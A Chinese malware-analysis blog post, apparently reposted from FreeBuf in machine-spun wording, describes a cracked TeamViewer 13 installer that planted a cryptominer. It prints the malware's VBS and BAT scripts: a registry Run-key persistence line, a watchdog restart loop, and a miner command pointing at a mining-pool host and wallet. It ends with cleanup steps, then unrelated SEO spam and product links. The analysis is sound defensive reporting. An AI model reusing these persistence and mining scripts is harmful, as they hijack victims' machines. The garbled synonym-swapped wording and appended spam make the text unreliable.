快捷搜索:  www.ymwears.cn  as  test  xxx

你下载的TeamViewer13破解版可能有毒

近来有个远程治理一下某内网服(tiao)务(ban)器(ji)的需求,映射到公网又不安然终究黑帽子这么多,思来想去之后照样感觉敦朴实实装个Teamviewer最靠谱,度娘一下发明还真的不少破解版资本可以下载,于是随意下载一个破解版筹备开始操作。

0×1 安装历程

先看一下文件描述信息也没有发明什么问题,就开始下一步安装了。

安装完成了功能正常,统统OK,垂垂的电脑开始卡到爆,敏感的白帽子有一种不好的预料。

0×2 问题排查

开始仔细的反省一下进程列表在着末发清楚明了一个稀罕的进程,居然被植入了挖矿病毒这个也太显着了吧,也不搞点进程注入无文件进击之类的高端技巧,系统盘下面也多了不少.bat与.vbs文件。直接停止了挖矿的进程之后又自动起来了,照样看看这些错误里面到底写了什么玩意。

0.Servicecrsssr.vbs: im WShellSet WShell =

CreateObject("WScript.Shell")WShell.Run "%windir%\winvprse.bat", 0Set WShell =

Nothing

1.Winprs.bat:

@Echo OffREG ADD

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\run

/v "Chrome" /f /t REG_SZ /d "%windir%\servicecrsssr.vbs"Exit

2.Winvpr.vbs:

im WShellSet WShell = CreateObject("WScript.Shell")WShell.Run "winprs.bat",

0Set WShell = Nothing

3.Winvprse.bat:

@echo offSETLOCAL EnableExtensions:starttimeout /t 160 /nobreak > NULecho

offtasklist /FI "IMAGENAME eq wmipvrse.exe" 2>NUL | find /I /N "wmipvrse.exe"

>NULif "%ERRORLEVEL%"=="0" goto starttasklist /FI "IMAGENAME eq wmipvrse.exe"

2>NUL | find /I /N "wmipvrse.exe" >NULif "%ERRORLEVEL%"=="1" goto

processnotrunning:processnotrunningstart "" "%windir%\xdgaudio.vbs"goto

startexit

4.xdgaudio.vbs

Dim WShellSet WShell = CreateObject("WScript.Shell")WShell.Run "wmipvrse.exe

--cpu-priority 2 --cpu-affinity 2 -a cryptonight -o

stratum+tcp://krb.crypto-coins.club:5555 -u

KjCJtxsXLAd4hUBXAUKxPSPn3L2YaAgihUUc8SQAaCfeG1QpN3kNyLyBRjRUdzmaAdYhMyoZJvUMceBuWcR3a9rnA3U4EBJ

-p x", 0Set WShell = Nothing

5.Wmipvrse.exe

矿池与钱包都这么出来了,看看到底挖了若干钱。

0×3 逆向阐发

对Wmipvrse.exe这个进程里面的器械照样认为好奇,抉择照样看一看,已经加壳了不过还好是UPX的标准壳可直接脱。

CPU-miner github上面的开源代码

0×4 病毒清理

事到如斯根据几个vbs与bat文件的内容,运行道理照样对照清楚了,就着手清理了。

Step1:应用PCHunter删除6个病毒母体

servicecrsssr.vbs

Winprs.bat

Winvpr.vbs

Winvprse.bat

Wmipvrse.exe

xdgaudio.vbs

Step2:清除注册表

0×5 总结

1.下载软件只管即便选择官方平台或者可托的第三方软件平台。

2.世界没有白吃的午餐,破解版软件里面可能含有一些让你惊喜的病毒木马后门,大概是一个大年夜礼包呢。

3.安然无小事,日常需留意。

*来自FreeBuf.COM

SEO站长博客

SEO站长

博客网

SEO自学网

SEO

SEO优化

网站优化

搜索引擎优化

SEO培训

网站优化培训

搜索引擎优化培训

SEO教程

网站优化教程

搜索引擎优化教程

SEO技巧

网站优化技巧

搜索引擎优化技巧

SEO排名

网站优化排名

搜索引擎优化排名

成都SEO

皙之密应用措施!

皙之密官网

皙之密_官网授权–中国美容网皙之密官网

皙之密3_官方网站皙之密官网

全美天下皙之密_APP下载皙之密官网

全美天下皙之密_APP下载皙之密官网

全美天下皙之密_APP下载皙之密官网

您可能还会对下面的文章感兴趣: